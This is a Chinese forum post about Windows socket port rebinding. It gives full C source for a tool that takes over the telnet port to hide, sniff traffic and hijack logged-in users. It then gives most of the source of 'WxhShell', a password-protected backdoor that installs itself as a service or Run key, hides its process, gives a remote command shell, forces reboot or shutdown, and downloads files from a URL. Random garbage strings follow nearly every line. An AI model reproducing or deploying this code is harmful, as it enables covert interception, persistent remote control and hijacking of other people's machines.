社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19937阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CV[9i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $}4ao2  
 D?Beg F  
  saddr.sin_family = AF_INET; r;@0 F  
=bp'5h8_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /%g@ ;  
~vYFQKrb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "C}<umJ'  
92j[b_P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (%6fZ  
O}C*weU  
  这意味着什么?意味着可以进行如下的攻击: 6EY\  
5xc e1[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 whN<{AG  
>JNdtP8s/1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CL7_3^2qI  
\6AM?}v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rX^uHq8  
N(i.E5&9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C#[P<=v  
vAP1PQX;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b|V <Kp  
&am<_Tn*3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fx>QP?Z  
1TEKq#t;y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  }se3y  
|7 K>`  
  #include wKJ|;o4;L  
  #include _o w7E\70  
  #include \Ec*Gq?.  
  #include    [$} \Gv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _gH$ ,.j/  
  int main() Ho#nM_ q  
  { zjH8 S  
  WORD wVersionRequested; D_( NLC  
  DWORD ret; d v4~CW%Td  
  WSADATA wsaData; g\B ? |%  
  BOOL val; n+ H2cl }  
  SOCKADDR_IN saddr; n3? msY(*  
  SOCKADDR_IN scaddr; uju'Bs7   
  int err; SDbkPx  
  SOCKET s; me@`;Q3  
  SOCKET sc; SP<(24zdd  
  int caddsize; IPTFx )]G  
  HANDLE mt; `#ff`j|a  
  DWORD tid;   B3yTN6-  
  wVersionRequested = MAKEWORD( 2, 2 ); Z6b]EcP)#  
  err = WSAStartup( wVersionRequested, &wsaData ); D\;5{,:d  
  if ( err != 0 ) { g'!"klS93  
  printf("error!WSAStartup failed!\n"); N*[b 26  
  return -1; N=U`BhL_  
  } pq_U?_5Z'r  
  saddr.sin_family = AF_INET; <^$ppwk $  
   ES^J RX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u[SqZftmO  
e)s l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cD9U ^SOS  
  saddr.sin_port = htons(23); w3VgGc~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ugo!  
  { k{{ Y2B?C  
  printf("error!socket failed!\n"); ` ,SNqi  
  return -1; 3 [#Rm>,Vu  
  } P( -   
  val = TRUE; u)zv`m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7m%12=Im5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VL5VYv=:  
  { k&L/Jzz I  
  printf("error!setsockopt failed!\n"); -G7)Y:  
  return -1; KL!cPnAUu  
  } \HrtPm`e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cBbumf9C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r# oJch=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iD cYyNE  
o[RwK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q77qdm q7  
  { |aU8WRq  
  ret=GetLastError(); 9,&xG\z=  
  printf("error!bind failed!\n"); gB%"JDn8  
  return -1; @ G!Ir"Q  
  } RnC+]J+?4  
  listen(s,2); GJ`._ju  
  while(1) -Ju;i<  
  { ukVBC"Ny  
  caddsize = sizeof(scaddr); ue?3;BF 5  
  //接受连接请求 a >-qHX-l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0t(c84o5  
  if(sc!=INVALID_SOCKET) _Wk*h}x  
  { #l`\'0`.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 30SQ&j[N]  
  if(mt==NULL) ~K5A$ s2  
  { QrFKjmD<  
  printf("Thread Creat Failed!\n"); Y^DGnx("m  
  break; 3.P7GbN  
  } b LGC  
  } 1he5Zevm}  
  CloseHandle(mt); v>nBdpjXh  
  } o7Z 8O,;  
  closesocket(s); 2yFT` 5+H4  
  WSACleanup(); _E8Cvaob  
  return 0; :.=j)ljTx  
  }   eU`O=uE   
  DWORD WINAPI ClientThread(LPVOID lpParam) ^7i7yM}6(  
  { +Q"~2_q5/;  
  SOCKET ss = (SOCKET)lpParam; $;$vcV9*  
  SOCKET sc; jAcKSx$}y"  
  unsigned char buf[4096]; Q`.q,T8I  
  SOCKADDR_IN saddr; 1M_Vhs^  
  long num; liy/uZ  
  DWORD val; .v}|Tp&k  
  DWORD ret; {jwLVKT$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x)N QRd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N5`z S79W  
  saddr.sin_family = AF_INET; ? F!c"+C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &w`DF,k|  
  saddr.sin_port = htons(23); Q {~$7J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $B<:SuV#  
  { rH,@"( p\  
  printf("error!socket failed!\n"); =vQ J2Rg  
  return -1; lIx./Nf  
  } KXl!VD,#`=  
  val = 100; TF!v,cX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p_]b=3wt~  
  { dHg[r|xC  
  ret = GetLastError(); 5D<ZtsXE  
  return -1; [MKG5=kaE  
  } Qm*ZOz'i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ? * ,  
  {  f9<"  
  ret = GetLastError(); \RPwSx  
  return -1; gs/ocu  
  } dKD:mU",M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %,<Ki]F  
  { ."O%pL]!/b  
  printf("error!socket connect failed!\n"); h 6?Z  
  closesocket(sc); z$~F9Es9  
  closesocket(ss); I S'Uuuz7g  
  return -1; Ol h{<~Fv  
  } r_,;[+!  
  while(1) 7hu7rWY`E  
  { kw#-\RR_c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m__pQu:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l1O"hd'~s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uM,Ps}  
  num = recv(ss,buf,4096,0); E,K>V:P*  
  if(num>0) eV(9I v[  
  send(sc,buf,num,0); 0b n%L~KU  
  else if(num==0) GP %hf{  
  break; 4$ihnb`DQN  
  num = recv(sc,buf,4096,0); v2:i'j6  
  if(num>0) $?k]KD  
  send(ss,buf,num,0); uPYH3<  
  else if(num==0) < FO=PM  
  break; 1kUlQ*[<|  
  } UuF(n$B  
  closesocket(ss); %m[ZU<v  
  closesocket(sc); Z_S{$D  
  return 0 ; Gky^S#  
  } nu~]9~)I  
$)8,dS  
dVHbIx  
========================================================== R1w5,Zt  
:{lP9%J-  
下边附上一个代码,,WXhSHELL B@6L<oZ  
g*LD}`X/-  
========================================================== 8 Zp^/43  
b8YdONdy  
#include "stdafx.h" Kdp($L9r  
G-RDQ  
#include <stdio.h> 3/ }  
#include <string.h> Qr7v^H~E4.  
#include <windows.h> 0x]?rd+q8Q  
#include <winsock2.h> vDi Opd  
#include <winsvc.h> <Up ?w/9  
#include <urlmon.h> kmt1vV.9  
"&4r!2A  
#pragma comment (lib, "Ws2_32.lib") #)]t4wa_W  
#pragma comment (lib, "urlmon.lib") NsM`kZM4H  
m~Q24Z]!'&  
#define MAX_USER   100 // 最大客户端连接数 k1zK3I&c_  
#define BUF_SOCK   200 // sock buffer 5dE=M};v  
#define KEY_BUFF   255 // 输入 buffer PR$;*|@  
Qs59IZ  
#define REBOOT     0   // 重启 gOW8 !\V  
#define SHUTDOWN   1   // 关机 pPo xx"y  
yzzJKucVU:  
#define DEF_PORT   5000 // 监听端口 YC56] Zp  
|rZMcl/  
#define REG_LEN     16   // 注册表键长度 LfFXYX^  
#define SVC_LEN     80   // NT服务名长度 oo7}Hg>  
xY!ud)  
// 从dll定义API 9`Fw}yAt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s<k2vbhI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]Zc|<f;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -rm[.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bGgpPV  
e3:L]4t  
// wxhshell配置信息 Iapz,nuE  
struct WSCFG { ~eoM 2XlW  
  int ws_port;         // 监听端口 09G47YkSy1  
  char ws_passstr[REG_LEN]; // 口令 <.gDg?'3  
  int ws_autoins;       // 安装标记, 1=yes 0=no GfEWms8z  
  char ws_regname[REG_LEN]; // 注册表键名 m}=E$zPbO  
  char ws_svcname[REG_LEN]; // 服务名 GbL1<P$V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9jEH"`qqk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h3 XS t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0*rD'?)K+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b"N!#&O]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]SRpMZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A0k?$ko  
]- `wXi"  
}; ^ W?cuJ8  
3)\fZYu)  
// default Wxhshell configuration DmLx"%H3  
struct WSCFG wscfg={DEF_PORT, |llJ%JhF  
    "xuhuanlingzhe", _(kaaWJ  
    1, 23>[-XZb[O  
    "Wxhshell", lNa+NtQu  
    "Wxhshell", Q-gVg%'7  
            "WxhShell Service", Ihf :k_;  
    "Wrsky Windows CmdShell Service", y*vSt^  
    "Please Input Your Password: ", gC/ e]7FNr  
  1, Uza '%R  
  "http://www.wrsky.com/wxhshell.exe", :Z6j5V;s  
  "Wxhshell.exe" >5L_t   
    }; ~qGW9 4  
9N}\>L)_  
// 消息定义模块 5Q"w{ n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `a|&aj0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !.$L=>:V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M %!;5  
char *msg_ws_ext="\n\rExit."; I_u/  
char *msg_ws_end="\n\rQuit."; n%J=!z3  
char *msg_ws_boot="\n\rReboot..."; BrwC9:  
char *msg_ws_poff="\n\rShutdown..."; k_0@,b 3  
char *msg_ws_down="\n\rSave to "; !#O [RS  
Hn(1_I%zF  
char *msg_ws_err="\n\rErr!"; AO|9H`6U6F  
char *msg_ws_ok="\n\rOK!"; o5F:U4sG  
`**{a/3  
char ExeFile[MAX_PATH]; <c pck  
int nUser = 0; tULGfvp  
HANDLE handles[MAX_USER]; bP 9ly9FH  
int OsIsNt; ?[NC}LC  
"yaxHd  
SERVICE_STATUS       serviceStatus; SXOAa<u5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PLc5m5  
D @*<O=_D(  
// 函数声明 f;zNNx< ;  
int Install(void); A:r?#7 Ma  
int Uninstall(void); ~&73f7  
int DownloadFile(char *sURL, SOCKET wsh); eNAxVF0  
int Boot(int flag); ?s^3 o{!<W  
void HideProc(void); ~dRstH7u  
int GetOsVer(void); cA q3Gh  
int Wxhshell(SOCKET wsl); 0^-1d2Z~  
void TalkWithClient(void *cs); 4F~^RR"  
int CmdShell(SOCKET sock); 3Hom0g,V4  
int StartFromService(void); DdgiY9a.  
int StartWxhshell(LPSTR lpCmdLine); 6&eXQl  
#lLUBJ#:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]zSFX =~(S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g8%O^)d=>  
&P|[YP37_  
// 数据结构和表定义 -o6rY9\_!  
SERVICE_TABLE_ENTRY DispatchTable[] = :BF? r  
{ [fa4  
{wscfg.ws_svcname, NTServiceMain}, 'cXdc  
{NULL, NULL} UUJQc ~=  
}; != ,4tg`  
"S%t\  
// 自我安装 `NsjtT'_  
int Install(void) sV  
{ .9qK88fUR  
  char svExeFile[MAX_PATH]; tUJRNEg  
  HKEY key; uPA ( 1  
  strcpy(svExeFile,ExeFile); |/*Pimk  
F`nQS&y  
// 如果是win9x系统,修改注册表设为自启动 ;[sW\Ou  
if(!OsIsNt) { S }`sp[6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J/?Nf2L4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); // o.+?S  
  RegCloseKey(key); LSJ?;Zg(=z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"wCBuXcu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i/ilG 3m>  
  RegCloseKey(key); _6ZjF>f  
  return 0; ~.m<`~u  
    } F3qK6Ah.  
  } &[.`xZ(|  
} H,!xTy"Wh  
else { )#}>,,S  
jV3PTU  
// 如果是NT以上系统,安装为系统服务 =^nb+}Nz(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _95296  
if (schSCManager!=0) dw bR,K  
{ Q6@<7E]y  
  SC_HANDLE schService = CreateService H$(bSw$  
  ( ;<AcW.jx  
  schSCManager, EiW|+@1  
  wscfg.ws_svcname, do}LaUz  
  wscfg.ws_svcdisp, jmM|on!  
  SERVICE_ALL_ACCESS, `C+<! )2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @!#e\tx  
  SERVICE_AUTO_START, N6U d(8*  
  SERVICE_ERROR_NORMAL, W_\zx<m  
  svExeFile, %fqR  
  NULL, wSTul o:9  
  NULL, hArY$T&MB  
  NULL, 9oWU]A\k>  
  NULL, !+T1kMP+l  
  NULL ?['!0PF  
  );  }vd*eexA  
  if (schService!=0) SiratkP9n7  
  { RdTM5ANT  
  CloseServiceHandle(schService); i--t ?@#  
  CloseServiceHandle(schSCManager); x *eU~e_jP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,fVD`RR(W?  
  strcat(svExeFile,wscfg.ws_svcname); p T(M>LP83  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ux [<g%F"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V2YK  T,5  
  RegCloseKey(key); M ?$[WS  
  return 0; ~&?bU]F  
    } &XP(D5lf`B  
  } d8j1L/e  
  CloseServiceHandle(schSCManager);  P#,u9EIJ  
}  QHEtG2  
} f!Q\M1t)  
T~TP  
return 1; ggr  
} \hB BG8=&  
)O]T}eI  
// 自我卸载 @;Ttdwg#J  
int Uninstall(void) =l ,P'E  
{ AlSO  
  HKEY key; xt{'Be&Ya+  
+L(amq;S  
if(!OsIsNt) { _'u]{X\k{J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EdJL&*  
  RegDeleteValue(key,wscfg.ws_regname); bLgH3[{  
  RegCloseKey(key); /:&!o2&1H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lsmcj{1d  
  RegDeleteValue(key,wscfg.ws_regname); ^PksXfk  
  RegCloseKey(key); J3K=z  
  return 0; RgE`Hr  
  } "/#JC} ]  
} DDg\oGLp  
} *sho/[~_  
else { 'Wonz<{'  
UkV?,P@l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (C2 XFg_  
if (schSCManager!=0) dhl[=Y ` Q  
{ BT$p~XB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n/H OP  
  if (schService!=0) \{,TpK.  
  { W .7rHa  
  if(DeleteService(schService)!=0) { m7 =$*1k  
  CloseServiceHandle(schService); GP|=4T}Bf  
  CloseServiceHandle(schSCManager); R$awgSE  
  return 0; OW:*qY c;:  
  } Nkdv'e\  
  CloseServiceHandle(schService); nR!e(  
  } ( ?V`|[+u  
  CloseServiceHandle(schSCManager); FqKJids-  
} !Brtao"m  
} yC,/R371k  
WeI+|V$  
return 1; |D3u"Y!:^  
} (JhX:1  
N0U/u'J!g  
// 从指定url下载文件 #Ondhy%h[  
int DownloadFile(char *sURL, SOCKET wsh) )Nv1_en<!  
{ VSj!Gm0LB  
  HRESULT hr; ~xH&"1  
char seps[]= "/"; !XA3G`}p6s  
char *token; 7p&jSOY  
char *file; XX;4A  
char myURL[MAX_PATH]; 30Yis_l2h  
char myFILE[MAX_PATH]; .p`4>XA  
g8),$:Uw  
strcpy(myURL,sURL); )^h6'h`  
  token=strtok(myURL,seps); cH]tZ$E`  
  while(token!=NULL) ?Cq7_rq  
  { ntiS7g e1  
    file=token; T X`X5j  
  token=strtok(NULL,seps); xS18t="  
  } l{3B }_,  
t<%0eu|  
GetCurrentDirectory(MAX_PATH,myFILE); 8OfQ :   
strcat(myFILE, "\\"); '[F:uA  
strcat(myFILE, file); +)Te)^&v%  
  send(wsh,myFILE,strlen(myFILE),0); Z5{a7U4z_  
send(wsh,"...",3,0); :NzJvI<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ycm)PU["  
  if(hr==S_OK) R+sT &d  
return 0; @nxo Bc !P  
else R{hX--|j  
return 1; bIKg>U'5d  
]m]`J|%i  
} bP,<^zA|X  
r@r%qkh(.@  
// 系统电源模块 0r]n 0?x  
int Boot(int flag) 0QQss  
{ Zw]`z*,yRA  
  HANDLE hToken; yu?5t?vf  
  TOKEN_PRIVILEGES tkp; XGlt^<`  
>&L|oq7$  
  if(OsIsNt) { Iw1Y?Qia  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x^eu[olN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l}{{7~C`  
    tkp.PrivilegeCount = 1; BT_]=\zi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~{c ?-qb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]`o5eByo  
if(flag==REBOOT) { vccWe7rh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 61\u{@o$  
  return 0; <sdgL+&1h  
} &9k~\;x  
else {  urp|@WZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `s}*  
  return 0; p< R:[rz  
} fBO/0uW  
  } 95;{ms[  
  else { [ X*p [  
if(flag==REBOOT) { Re%[t9 F&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gk;YAI  
  return 0; ia6 jiW x  
} ,,3lH-C  
else { PN}+LOD<t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0V%c%]PH  
  return 0; 6K2e]r  
}  *7Dba5B  
} B6XO&I1c  
E}^V@ :j>  
return 1; k(Yz2  
} xh6(~'$  
|9@,ri\'Rg  
// win9x进程隐藏模块 0SpB 2>_  
void HideProc(void) h!"2Ux3!x  
{ >T$0*7wF  
W? 7l-k=S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1:}{a5i_  
  if ( hKernel != NULL ) EIi<g2pM(  
  { %lKw+D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~cz}C("Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !}*N';  
    FreeLibrary(hKernel); ,(jJOFf  
  } {1GJ,['qL  
;qx#]Z0 <  
return; 2Gyq40  
} vz^ ] g  
R!VfTAv  
// 获取操作系统版本 :cpj{v;s  
int GetOsVer(void) $+eeE  
{ 37bMe@W  
  OSVERSIONINFO winfo; Iil2R}1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wzq W1<*`  
  GetVersionEx(&winfo); 5C w( 4.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p^l#Wq5  
  return 1; u#05`i:Z  
  else !_glZ*tL  
  return 0; Q+CJd>B  
} ; :e7Z^\/k  
! FcGa  
// 客户端句柄模块 :4AQhn^;"  
int Wxhshell(SOCKET wsl) Fwm$0=BXL  
{ z*3b2nV  
  SOCKET wsh; o'Bd. B  
  struct sockaddr_in client; ZvY"yl?e  
  DWORD myID; ,%i Scr,z  
T2{e 1 =Z7  
  while(nUser<MAX_USER) h y rPu_  
{ 0 _!0\d#c  
  int nSize=sizeof(client); 7KtU\u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "+DA)K  
  if(wsh==INVALID_SOCKET) return 1; /4{WT?j  
ITPE2x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?o<vmIge  
if(handles[nUser]==0) dT`nR"  
  closesocket(wsh); $-_" SWG.  
else J%bNt)K}  
  nUser++; \ %-<O  
  } cIug~ x>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); --HDEc|  
KdNo'*;U]_  
  return 0; (}#&HE<  
} b,~'wm8:A  
IRW0.'Dn  
// 关闭 socket 2"0VXtv6  
void CloseIt(SOCKET wsh) gI:g/ R  
{ !G%!zNA S  
closesocket(wsh); bGh&@&dHr  
nUser--; ^&3vGu9  
ExitThread(0); 2[ sY?C  
} \e a*  
Quth5  
// 客户端请求句柄 0%xktf  
void TalkWithClient(void *cs) >=k7#av  
{ 3mgvWR  
k-$Acv(  
  SOCKET wsh=(SOCKET)cs; +V=<vT  
  char pwd[SVC_LEN]; `&;#A*C0  
  char cmd[KEY_BUFF]; q NGR6i  
char chr[1]; F6{g{ B  
int i,j; ,#a4P`q'iC  
? Fqh i  
  while (nUser < MAX_USER) { /%YW[oY{V  
]36SF5<0r  
if(wscfg.ws_passstr) { ?Ld),A/c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~B<\#oO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a-5UG#o  
  //ZeroMemory(pwd,KEY_BUFF); at>_EiS  
      i=0; T*p7[}#  
  while(i<SVC_LEN) { _ep&`K  
[[T7s(3  
  // 设置超时 ueg%yvO  
  fd_set FdRead; \Y xG  
  struct timeval TimeOut; l@Lk+-[D  
  FD_ZERO(&FdRead); 6O4 *OR<&  
  FD_SET(wsh,&FdRead); iBE|6+g~Cj  
  TimeOut.tv_sec=8; 4DIU7#GG  
  TimeOut.tv_usec=0; 'm0WPS/6E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t/i*.>7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?!ap @)9  
Ust +g4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1I;q@g0  
  pwd=chr[0]; XRaGV~  
  if(chr[0]==0xd || chr[0]==0xa) { F'~r?D  
  pwd=0; .]9`eGVWj  
  break; cGE{dWz  
  } besc7!S  
  i++; s:<y\1Ay  
    } {[uhIJD3g6  
2e6P?pX~2  
  // 如果是非法用户,关闭 socket  2_$8Ga  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eKP >} `  
} 1^IMoC7$#  
$`xpn#l z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c{ 'Z.mut  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1dD%a91  
MpKXC   
while(1) { 6@aH2+4+  
CI+)0=`<1B  
  ZeroMemory(cmd,KEY_BUFF); x. t< @y~  
;apLMMsWC  
      // 自动支持客户端 telnet标准   g.\b@0Uy'  
  j=0; AB $N`+&  
  while(j<KEY_BUFF) { R/u0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >$kFYb>~q  
  cmd[j]=chr[0]; erI&XI  
  if(chr[0]==0xa || chr[0]==0xd) { |@d(2f8  
  cmd[j]=0; {UH45#Ua  
  break; THl:>s  
  } fD%/]`y  
  j++; J5b3r1~D"[  
    } pyf'_  
mR.j8pi  
  // 下载文件 @Z0. }}Y  
  if(strstr(cmd,"http://")) { n6[shXH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GS*O{u  
  if(DownloadFile(cmd,wsh)) 1uo |a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$w66q8  
  else iBWzxPv:z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LBio$67F  
  } nA Nl9;G  
  else { 4=MVn  
M_O$]^I3w  
    switch(cmd[0]) { 3SM'vV0[  
  A._CCou  
  // 帮助 xK8m\=#  
  case '?': { +R?E @S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gb2|e.z  
    break; hzbvR~rn  
  } '3XOU.  
  // 安装 :qS~"@?<  
  case 'i': { Qc33C A  
    if(Install()) yO-2.2h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (muJ-~CJk  
    else '+_-r'2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ks$5$,^T2o  
    break; <F`9;WX  
    } 02 FLe*zQ  
  // 卸载 06NiH-0O  
  case 'r': { )fXxkOd  
    if(Uninstall()) 5hqXMs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ko.% @Y(=  
    else z:UkMn[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0gyvRM@ x[  
    break; D}%VZA}].  
    } EAY+#>L*  
  // 显示 wxhshell 所在路径 q2k}bb +  
  case 'p': { -X*.scw  
    char svExeFile[MAX_PATH]; gy1kb,MO  
    strcpy(svExeFile,"\n\r"); @"cnPLh&  
      strcat(svExeFile,ExeFile); jHMP"(]  
        send(wsh,svExeFile,strlen(svExeFile),0); y;0Zk~R$  
    break; mj9|q8v{+  
    } Uq=Rz8hLM  
  // 重启 &WCVdZK:  
  case 'b': { b`wT*&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;[zZI~wh  
    if(Boot(REBOOT)) B8cg[;e81  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qPN  
    else { %to.'R  
    closesocket(wsh); yyPj!<.MGP  
    ExitThread(0); p-C{$5& O1  
    } ILNghtm-  
